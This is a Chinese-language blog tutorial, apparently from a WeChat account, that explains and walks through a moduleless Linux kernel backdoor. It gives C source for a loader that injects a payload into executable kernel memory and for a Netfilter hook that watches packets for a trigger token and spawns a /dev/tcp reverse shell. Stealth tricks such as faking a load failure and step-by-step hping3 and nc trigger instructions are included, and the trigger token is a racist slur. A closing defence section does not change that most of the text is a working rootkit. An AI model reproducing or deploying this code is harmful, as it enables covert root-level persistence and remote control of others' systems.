在聊具体技术之前,我们先搞清楚核心概念------所谓"无Linux内核模块植入后门",本质上是一种绕开常规内核模块加载流程的恶意技术,和传统内核后门有着本质区别。
传统的Linux内核后门,大多会打包成.ko格式的内核模块文件,通过insmod、modprobe等系统命令加载到内核中运行。这种方式的痕迹很明显,会在/proc/modules(内核模块列表)、/sys/module/(模块文件目录)中留下清晰记录,很容易被安全工具检测到。
而无模块内核植入后门,完全抛弃了.ko模块载体,直接将恶意代码注入到内核的运行内存空间中并执行。它不会在系统的模块相关目录和文件中留下任何痕迹,也不需要依赖常规的模块加载命令,就像"隐形人"一样驻留在内核空间,实现长期控制、信息窃取等恶意功能,隐蔽性拉满,是目前高级持续性威胁(APT)中常用的攻击手段之一。
这类后门的核心目的很明确:一是长期驻留 ,利用内核空间的高权限和稳定性,避免被用户态的安全软件清理;二是隐蔽控制 ,通过触发式执行(比如特定网络指令、特定文件操作)实现远程控制,同时规避常规检测;三是跨版本适配,通过动态适配不同内核版本的API,扩大攻击覆盖范围。
一、核心设计思路与简易执行流程
(一)整体设计思路
无模块内核植入后门的设计核心可以总结为"先搭桥、再驻留、后触发、清痕迹":
- 搭桥:先找到内核的"资源索引"(符号查找函数),通过它定位内核中的关键API(内存分配、网络处理、用户态调用等),为恶意代码运行铺路;
- 驻留:在核内存中分配可执行内存区域,将恶意载荷拷贝进去并赋予执行权限,同时通过内核原生框架(如Netfilter)注册钩子,实现恶意代码的长期驻留;
- 触发:设置隐蔽的触发条件(如特定网络标识、特定系统调用),只有满足条件时才执行核心恶意功能(如反弹shell);
- 清痕迹:执行完恶意功能后,及时释放临时占用的内核内存,避免内存泄露暴露踪迹,同时伪装执行结果,规避系统日志监控。
(二)简易流程原理图(文字版)
第一步:内核符号查找准备
↓(获取符号查找函数,作为工具索引)
第二步:关键内核API寻址
↓(找到内存分配、钩子注册、用户态调用等核心函数)
第三步:恶意载荷内存分配与权限设置
↓(分配内核可写内存→拷贝恶意代码→设置可执行权限,规避W^X保护)
第四步:Netfilter网络钩子注册
↓(将自定义钩子挂载到内核网络处理流程,最高优先级监控)
第五步:网络数据包与触发条件检测
↓(监控进入本机的IPv4数据包,查找预设"暗号"TOKEN)
第六步:后门功能执行与内存清理
↓(找到暗号后反弹shell→执行完毕释放临时内存→伪装执行结果)
二、代码实现原理深度解读
c
...
static typeof(printk) *p_printk = NULL;
static typeof(lookup_name) *p_lookup_name = NULL;
static typeof(kmalloc) *p_kmalloc = NULL;
static typeof(kfree) *p_kfree = NULL;
static typeof(memcmp) *p_memcmp = NULL;
static typeof(call_usermodehelper) *p_call_umh = NULL;
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 13, 0)
static typeof(nf_register_hooks) *p_nf_register_hooks = NULL;
#else
static typeof(nf_register_net_hooks) *p_nf_register_net_hooks = NULL;
#endif
static typeof(execute_in_process_context) *p_execute_in_process_context = NULL;
////////////////////////////////////////////////////////////////////////////////
static inline void *memmem(const void *h, size_t hlen, const void *n, size_t nlen) {
if (!h || !hlen || !n || !nlen || (nlen > hlen))
return NULL;
while (hlen >= nlen) {
if (!p_memcmp(h, n, nlen))
return (void *)h;
h++, hlen--;
}
return NULL;
}
static void delayed_work(struct work_struct *ws) {
char *envp[2] = { "HOME=/proc", NULL };
char *argv[4] = { "/bin/sh", "-c", SHCMD, NULL };
p_call_umh(argv[0], argv, envp, UMH_WAIT_EXEC);
p_kfree(container_of(ws, struct execute_work, work));
}
static void try_skb(struct sk_buff *skb) {
if (memmem(skb->data, skb_headlen(skb), TOKEN, sizeof(TOKEN) - 1)) {
struct execute_work *ws = p_kmalloc(sizeof(struct execute_work), GFP_ATOMIC);
if (ws) p_execute_in_process_context(delayed_work, ws);
}
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 1, 0)
static unsigned int custom_local_in(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) {
if (skb) try_skb(skb);
return NF_ACCEPT;
}
#else
static unsigned int custom_local_in(void *arg, struct sk_buff *skb, const struct nf_hook_state *state) {
if (skb) try_skb(skb);
return NF_ACCEPT;
}
#endif
static struct nf_hook_ops nf_ops[] = {
[0] = {
.hook = (nf_hookfn *)NULL,
.pf = NFPROTO_IPV4,
.hooknum = NF_INET_LOCAL_IN,
.priority = NF_IP_PRI_FIRST,
},
};
long __attribute__((used, section(".text.entry"))) entry(const typeof(lookup_name) *lookup, void *net) {
...
p_call_umh = (void *)lookup("call_usermodehelper");
if (!p_call_umh) {
p_printk("no call_usermodehelper found\n");
return -EINVAL;
}
p_kmalloc = (void *)lookup("__kmalloc");
if (!p_kmalloc) {
p_printk("no __kmalloc found\n");
return -EINVAL;
}
p_kfree = (void *)lookup("kfree");
if (!p_kfree) {
p_printk("no kfree found\n");
return -EINVAL;
}
p_memcmp = (void *)lookup("memcmp");
if (!p_memcmp) {
p_printk("no memcmp found\n");
return -EINVAL;
}
p_execute_in_process_context = (void *)lookup("execute_in_process_context");
if (!p_execute_in_process_context) {
p_printk("no execute_in_process_context found\n");
return -EINVAL;
}
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 13, 0)
p_nf_register_hooks = (void *)lookup("nf_register_hooks");
if (!p_nf_register_hooks) {
p_printk("no nf_register_hooks found\n");
return -EINVAL;
}
#else
p_nf_register_net_hooks = (void *)lookup("nf_register_net_hooks");
if (!p_nf_register_net_hooks) {
p_printk("no nf_register_net_hooks found\n");
return -EINVAL;
}
#endif
init_nf_hooks(net);
...
return 0;
}
...
unsigned long lookup_name(const char *name) {
static typeof(lookup_name) *lookup = (void *)kallsyms_lookup_name;
if (NULL == lookup)
lookup = (void *)lookupName;
return lookup ? lookup(name) : 0;
}
int init_module(void) {
void *mem = NULL;
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
malloc = (void *)lookup_name("module_alloc");
if (!malloc) {
pr_debug("module_alloc() not found\n");
goto Error;
}
mem = malloc(round_up(payload_len, PAGE_SIZE));
if (!mem) {
pr_debug("malloc(payload_len) failed\n");
goto Error;
}
set_memory_x = (void *)lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(payload_len, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)mem, numpages);
}
print_hex_dump_bytes("payload@", DUMP_PREFIX_OFFSET, payload, payload_len);
memcpy(mem, payload, payload_len);
if (0 == ((long (*)(void *, void *))mem)(lookup_name, &init_net))
return -ENOTTY; // success
Error:
if (mem) vfree(mem);
return -EINVAL; // failure
}
...
If you need the complete source code, please add the WeChat number (c17865354792)
提供的代码分为两个核心部分:加载器代码 (负责注入恶意载荷)和恶意载荷代码(负责实现后门功能),我们分别用大白话拆解。
(一)加载器代码:恶意载荷的"隐形启动器"
加载器的作用就像"搭桥人",它不直接执行恶意功能,而是为恶意载荷找到内核中的"落脚点"并启动它,核心步骤如下:
-
符号查找函数初始化:找"工具索引"
代码中的
lookup_name函数是核心中的核心,它先尝试调用内核自带的kallsyms_lookup_name(内核符号查找工具,能通过函数名找到对应内存地址)。如果这个工具不可用(比如内核关闭了kallsyms功能),就使用模块参数lookupName手动传入的符号查找地址。大白话解释:这就像你要修东西,先找一本"工具目录",要么用系统自带的目录,要么用别人给你的手动目录,只有拿到目录,才能找到对应的工具。
-
分配内核内存:给恶意代码找"住处"
代码通过
lookup_name找到module_alloc(内核模块专用内存分配函数),用它为恶意载荷分配内存。这里有个细节:用round_up(payload_len, PAGE_SIZE)将内存大小按页面大小对齐,因为Linux内核是按"内存页"(通常4KB)来管理内存的,必须按这个规矩分配,否则内核会拒绝。大白话解释:恶意代码不能随便放在内核内存里,得找一块内核认可的"合法住处",而且要按内核的户型(页面大小)来选房。
-
设置可执行权限:给"住处"开"运行许可"
现代Linux内核有W^X保护机制(写权限和执行权限不能同时存在,防止恶意代码注入),代码先通过
module_alloc分配可写内存(拷贝恶意代码需要写权限),拷贝完成后,再通过set_memory_x函数给内存设置可执行权限,同时计算需要设置的页面数量(numpages)。大白话解释:恶意代码要运行,必须给它的住处开"运行许可证",但内核不让同时拥有"写入权"和"运行权",所以先写代码,再开运行许可,钻了机制的空子。
-
拷贝并执行载荷:启动恶意代码并伪装痕迹
用
memcpy将恶意载荷拷贝到分配好的内存中,然后直接把这块内存当作函数来调用(传入符号查找函数和默认网络命名空间init_net)。这里有个隐蔽性设计:如果执行成功,反而返回-ENOTTY(非0值,伪装成执行失败),只有执行失败时才返回-EINVAL,这样不会被系统日志标记为"异常成功",更难被发现。如果执行失败,会用vfree释放内存,避免留下痕迹。大白话解释:把恶意代码搬到它的住处,然后偷偷启动它,启动成功了还假装"我失败了",不让系统察觉;如果真的启动失败,就把住处清理干净,不留一点痕迹。
(二)恶意载荷代码:后门功能的"实际执行者"
这部分是后门的核心,负责实现监控、触发、控制等功能,核心步骤如下:
-
内核API动态映射:绑定内核"工具"
代码先定义了一堆函数指针(
p_printk、p_kmalloc、p_call_umh等),然后在entry入口函数中,通过传入的符号查找函数,逐个查找这些内核API的地址并赋值给函数指针。同时做了容错处理:如果某个关键API(比如call_usermodehelper、__kmalloc)找不到,就打印错误日志并退出,避免因缺少工具导致内核崩溃(暴露踪迹)。大白话解释:恶意代码要在核内运行,需要调用内核的各种工具(比如打印日志、分配内存、调用用户态程序),这一步就是通过"工具目录"找到这些工具,然后绑定到自己能用的"快捷方式"上,找不到关键工具就干脆不继续,避免暴露。
-
自定义memmem函数:做"暗号检测器"
代码实现了一个简易的
memmem函数,作用是在网络数据包的数据中,查找是否存在预设的"暗号"(TOKEN常量,也就是black-wives-are-fatter)。它的原理很简单:逐字节对比数据包数据和暗号,如果找到完全匹配的字符串就返回地址,否则返回NULL,相当于一个专用的"暗号识别器"。大白话解释:后门不会一直执行恶意功能,只有收到"暗号"才会触发,这个函数就是用来在网络数据包里找暗号的,找不到就啥也不干,更隐蔽。
-
Netfilter钩子实现:装"网络监控探头"
代码根据内核版本差异,实现了不同的
custom_local_in钩子函数(内核4.1版本前后,Netfilter钩子接口参数不同)。这个钩子绑定到NF_INET_LOCAL_IN(进入本机的IPv4数据包钩子点),优先级设为NF_IP_PRI_FIRST(最高优先级),确保所有发到本机的网络数据包,都会先经过这个钩子处理。钩子函数的逻辑很简单:如果数据包不为空,就调用try_skb函数,让"暗号检测器"检查数据包。大白话解释:给内核的网络处理流程装一个"监控摄像头",所有发到本机的网络数据,都要先经过这个摄像头拍一下,摄像头再把数据交给"暗号检测器"检查。
-
后门触发与执行:执行核心恶意功能
try_skb函数:如果memmem找到了"暗号",就用p_kmalloc分配一个execute_work(工作队列结构体),然后调用p_execute_in_process_context,把delayed_work函数放到进程上下文中执行(避免内核上下文冲突导致崩溃)。delayed_work函数:这是后门的核心功能实现,它构造了反弹shell命令(SHCMD常量,bash -i >& /dev/tcp/127.0.0.1/6666 0>&1),通过p_call_umh(内核调用用户态程序的核心API)调用/bin/sh执行这个命令,将系统shell反弹到指定IP和端口(这里是本地127.0.0.1:6666)。执行完后,用p_kfree释放之前分配的execute_work内存,避免内存泄露暴露踪迹。
大白话解释:一旦检测器找到了暗号,就启动反弹shell功能,先申请一块临时内存存任务信息,然后让内核在安全的环境中执行反弹shell命令,执行完后立刻释放临时内存,不留一点痕迹。
-
钩子注册与入口初始化:完成后门驻留
init_nf_hooks函数:根据内核版本,调用不同的钩子注册函数(nf_register_hooks或nf_register_net_hooks),将自定义钩子正式挂载到Netfilter框架中,实现长期驻留。entry函数:作为恶意载荷的入口,先完成所有API的查找和校验,校验通过后注册钩子,最后打印一句无关紧要的日志(伪装成正常内核代码),返回0表示执行成功,至此后门完成驻留,等待触发条件。
大白话解释:把"监控摄像头"正式安装到内核里,然后打印一句废话日志假装自己是正常代码,最后安静等待有人发送"暗号",触发反弹shell。
三、相关领域核心知识点总结
这款无模块内核后门的实现,用到了多个Linux内核核心领域的知识点,我们提炼出关键要点,方便理解:
1. 内核符号查找机制(核心基础)
- 核心知识点:
kallsyms_lookup_name是Linux内核默认的符号查找函数,作用是通过函数名(字符串)查找内核函数的物理内存地址,是无模块植入的"基石"。 - 实际应用:当内核关闭kallsyms功能(提高安全性)时,可通过手动传入符号地址(
lookupName模块参数)替代,实现跨内核版本适配。 - 所属领域:Linux内核调试、内核符号表管理。
2. Netfilter网络框架(驻留核心)
- 核心知识点:Netfilter是Linux内核网络数据包处理的核心框架,提供了5个关键钩子点(
NF_INET_PRE_ROUTING、NF_INET_LOCAL_IN等),允许自定义函数拦截、修改、丢弃网络数据包,iptables防火墙就是基于这个框架实现的。 - 实际应用:本文中利用
NF_INET_LOCAL_IN钩子点(监控进入本机的数据包),实现后门触发条件检测,由于是复用内核原生框架,难以被安全工具识别。 - 所属领域:Linux内核网络协议栈、防火墙底层实现。
3. 内核内存管理与保护机制(安全绕开)
- 核心知识点:① 内核内存按"页面"管理,
module_alloc是内核模块专用内存分配函数;② 现代内核有W^X保护(写权限与执行权限互斥)、不可执行内存等安全机制,防止恶意代码注入。 - 实际应用:代码中先分配可写内存→拷贝恶意载荷→设置可执行权限,绕开W^X保护;同时及时用
kfree/vfree释放内存,避免内存泄露暴露踪迹。 - 所属领域:Linux内核内存管理、系统安全防护(内存保护)。
4. 内核版本兼容性处理(扩大攻击范围)
- 核心知识点:不同Linux内核版本的API接口存在差异(如Netfilter钩子注册函数、钩子参数格式),直接硬编码调用会导致兼容性问题。
- 实际应用:代码通过
LINUX_VERSION_CODE宏判断内核版本,分别实现不同的函数调用和接口适配,让恶意载荷能在多个内核版本上运行。 - 所属领域:Linux内核版本迭代、跨版本兼容性开发。
5. 内核态到用户态的调用机制(功能延伸)
- 核心知识点:
call_usermodehelper是内核态调用用户态程序的核心API,能在内核空间中启动用户态进程(如/bin/sh、/bin/ls),并传递命令参数。 - 实际应用:本文中通过该API执行反弹shell命令,实现内核后门向用户态的功能延伸,获取系统完整控制权。
- 所属领域:Linux内核与用户态通信、进程管理。
6. 隐蔽性设计技巧(对抗检测)
- 核心知识点:无模块后门的核心优势是隐蔽性,代码中多处体现对抗检测的设计:
① 不加载.ko模块,不在/proc/modules留下记录;
② 执行成功后伪装返回失败(-ENOTTY),规避系统日志监控;
③ 及时释放内核内存,避免内存泄露暴露踪迹;
④ 复用Netfilter原生框架,伪装成正常网络处理逻辑。 - 所属领域:恶意代码对抗、主机安全检测与防御。
四、简单测试步骤
工具说明:
make/gcc/linux-headers:用于编译内核模块(backdoor.ko)hping3:用于发送带"后门暗号"的网络数据包netcat/nc:用于监听端口,接收后门反弹的shell连接
第一步:编译内核模块
-
进入backdoor的代码目录(你要先把代码下载到本地,进入对应的文件夹)
-
执行编译命令,直接在终端输入:
bashmake -
编译成功后,目录下会生成
backdoor.ko文件(如果编译报错,大概率是缺少内核头文件,回头重新安装上面的依赖即可)
第二步:加载"隐形"模块(关键:解决你的insmod报错)
你遇到的 insmod: ERROR: could not insert module backdoor.ko: Inappropriate ioctl for device 不是真的失败,是后门的隐蔽性设计!
对应之前文章里的原理:这款无模块后门故意在加载成功后返回 -ENOTTY 错误码,伪装成"加载失败",避免被管理员察觉。具体操作:
-
执行加载命令(必须用sudo,需要内核权限):
bashsudo insmod backdoor.ko -
此时会弹出你遇到的报错信息,不用管它,这是正常现象
-
验证"隐形"效果:执行下面两个命令,都查不到backdoor模块(这就是它和传统内核模块的区别,不留痕迹)
bashlsmod | grep backdoor# 无输出 cat /proc/modules | grep backdoor# 无输出
第三步:启动端口监听(接收反弹Shell)
后门的核心功能是反弹shell到 127.0.0.1:6666(对应代码里的 SHCMD 常量),我们需要先启动监听,等待后门连接:
-
打开一个新的终端窗口(不要关闭之前的终端,保持独立窗口)
-
在新终端执行监听命令:
bashnc -l 6666 -
执行后终端会处于"卡住"的状态,这是正常的,说明正在监听6666端口,等待后门触发
第四步:触发后门(发送带"暗号"的ICMP数据包)
我们需要用hping3发送包含预设"后门暗号"(black-wives-are-fatter,对应代码里的 TOKEN 常量)的ICMP数据包(类似ping包),触发后门执行:
-
回到原来的终端窗口(或再开一个新终端)
-
直接执行下面的触发命令(参数含义大白话解释在后面,不用死记):
bashsudo hping3 -c 1 -j -1 -e black-wives-are-fatter 127.0.0.1 -
命令执行后,会有少量输出,无需关注,只要没有报错即可
补充:hping3命令参数大白话解释
-c 1:只发送1个数据包(够触发后门就行,多了没用)-j:关闭数据包的校验和(简化发送,不影响触发)-1:指定发送ICMP数据包(和ping命令的数据包类型一样)-e black-wives-are-fatter:核心参数!把"后门暗号"写入数据包的选项字段,对应代码里memmem函数要查找的内容127.0.0.1:发送给本地主机(后门监控的是本机的网络数据包)
第五步:验证后门触发成功
-
切换到你之前启动
nc -l 6666的终端窗口 -
此时原本"卡住"的终端会出现shell提示符(比如
#或$),说明已经成功接收后门反弹的shell -
你可以执行简单的系统命令验证,比如:
bashls # 查看当前目录文件 whoami # 会显示root(因为后门是内核权限,反弹的shell也是root权限) pwd # 查看当前路径能正常执行命令,就说明测试成功!
重要:测试完成后清理后门
由于这是"无模块"后门,无法用 rmmod backdoor 命令卸载(根本查不到模块),最简单的清理方式是:
bash
sudo reboot
重启系统后,内核内存中的后门代码会被清空,恢复正常系统状态(新手优先用这种方式,简单无残留)
测试注意事项
- 内核版本兼容:代码对Linux 4.1之前、4.1~4.13、4.13之后的内核做了适配,若你的内核版本过新(比如5.10以上),可能出现编译失败或触发无响应,属于正常现象
- 权限问题:所有操作必须加
sudo,没有root权限无法加载内核模块、发送ICMP数据包 - 安全警示:仅限自己的测试虚拟机中操作,严禁在生产环境、他人设备上使用,违反法律法规需承担相应责任
- 防火墙影响:若本地开启了防火墙(ufw/iptables),可能拦截ICMP数据包或6666端口,测试前可临时关闭防火墙(
sudo ufw disable)
五、总结与安全警示
(一)技术总结
无模块Linux内核植入后门,本质上是对Linux内核原生机制的"恶意复用":它通过符号查找获取内核资源,通过Netfilter实现长期驻留,通过内存权限绕开安全保护,通过触发式执行实现隐蔽控制,最终达到长期控制目标系统的目的。这种技术的核心优势是隐蔽性强 、适配性好 、难以检测,是目前高级攻击中极具威胁的手段。
(二)安全警示
对于企业和运维人员来说,针对这类无模块内核后门,可采取以下防护和检测措施:
- 前置防护 :① 关闭不必要的内核功能(如kallsyms),减少内核资源暴露;② 限制模块加载权限(禁止普通用户执行
insmod/modprobe);③ 及时更新内核补丁,修复内核漏洞;④ 采用最小权限原则配置系统,降低攻击影响范围。 - 事后检测 :① 监控异常内核函数调用(如
call_usermodehelper异常调用/bin/sh);② 监控异常网络连接(如不明IP的反弹shell端口连接);③ 监控内核内存可执行区域变化,发现异常注入痕迹;④ 使用主机入侵检测系统(HIDS),监控内核行为异常。
最后需要说明的是,这类技术本身是中性的:它既可以被恶意攻击者利用实施破坏,也可以被安全研究人员用于漏洞挖掘、防御技术研发。关键在于使用者的立场和场景,而了解其实现原理,是构建有效防御体系的前提。
Welcome to follow WeChat official account【程序猿编码】